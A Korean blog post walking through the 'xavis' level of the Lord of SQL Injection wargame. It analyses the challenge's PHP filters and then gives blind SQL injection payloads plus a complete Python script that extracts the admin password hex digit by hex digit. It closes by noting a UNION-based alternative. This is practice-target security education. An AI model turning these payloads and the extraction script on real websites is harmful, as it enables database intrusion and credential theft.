Almon Dev

[Lord of SQL Injection] xavis 문제 풀이 본문

웹 해킹/Lord of SQLi

[Lord of SQL Injection] xavis 문제 풀이

Almon 2025. 5. 8. 01:31

xavis 문제 풀이

 

xavis 문제

 

문제 분석

 

 문제 목표

GET 메서드의 pw 파라미터 값과 데이터베이스에서 가져온 admin 계정의 비밀번호가 일치할 경우, solve("xavis") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 해결했을 때 호출되는 것으로 보이므로,  이 문제의 목표는 admin 계정의 비밀번호를 탈취하는 것으로 보입니다.

$_GET[pw] = addslashes($_GET[pw]); 
$query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis");

 

 입력 제한

pw 파라미터에 regex, like 가 입력되는 경우 exit 함수를 실행해 PHP 코드 실행이 중단됩니다.

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe");

 

 취약점 분석

pw 파라미터에서 regex, like만 필터링하기 때문에 substr, hex 등의 SQL 함수를 삽입하여 admin 계정의 비밀번호를 추출할 수 있습니다.

substr => 문자열을 잘라내는 함수입니다.
ex) substr('admin', 1,2) => 'dm'
hex => 문자열, 숫자를 16진수 문자열로 변경하는 함수입니다.
ex) hex('a') => '61'

 

문제 풀이

 

1. 참 쿼리를 삽입하여 Hello admin이 출력되는 것을 확인합니다.

=> pw= ' or id='admin' and '1'='1

 

2. 거짓 쿼리를 삽입하여 참과 거짓의 결과가 다른 것을 확인합니다.

=> pw= ' or id='admin' and '1'='2

 

3. Blind SQL Injection을 위해 공격 format을 생성합니다.

=> pw= ' or id='admin' and substr(hex(pw), 1, 1) = '0

or id = 'admin' 조건을 포함한 이유는 hex(pw)가 admin 계정의 비밀번호를 가져오도록 하기 위함입니다.

 

4. length 함수를 이용해 admin 계정의 비밀번호를 16진수로 변환한 결과가 25자리임을 확인합니다.

 

5. Blind SQL Injection을 위한 Python 코드를 작성합니다.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import codecs

def sqli_request(url, session, index, ascii):
    params = f"?pw=' or id = 'admin' and substr(hex(pw), {index}, 1) = '{ascii}"
    url += params
    response = session.get(url)
    # response = session.get(url, proxies=proxies, verify=False)
    if "Hello admin" in response.text:
        return True
    else:
        return False

url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php"
proxies = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080"
}

session = requests.Session()
session_id = "PHPSESSID"
session.cookies.set("PHPSESSID", session_id)

sql_result = ""

for i in range(24):
    value = 0
    index = i + 1
    while True:
        if sqli_request(url, session, index, hex(value)[2:]):
            index += 1
            sql_result += hex(value)[2:]
            print(f"\rpassword: 0x{sql_result}", end="")
            break
        else:
            value += 1

print(f"\npassword: {chr(int(sql_result[:8], 16))} {chr(int(sql_result[8:16], 16))} {chr(int(sql_result[16:24], 16))}")

 

6. Python 코드를 실행하여 admin 계정의 비밀번호를 추출합니다.

 

7. 비밀번호를 pw 파라미터로 전송하여 문제 풀이를 완료합니다.

 

다른 사람의 풀이

문제를 푼 뒤에는 항상 다른 사람들의 풀이를 참고합니다. 이번에 신박한 풀이를 발견해서 실험해 보았습니다.

 

SQL에서는 사용자 정의 변수를 설정할 수 있다는 점을 이용해, admin 계정의 비밀번호를 SELECT 문으로 조회하여 @p 변수에 저장한 뒤, UNION SELECT @p를 통해 해당 값을 화면에 출력하는 UNION SQL Injection이 가능합니다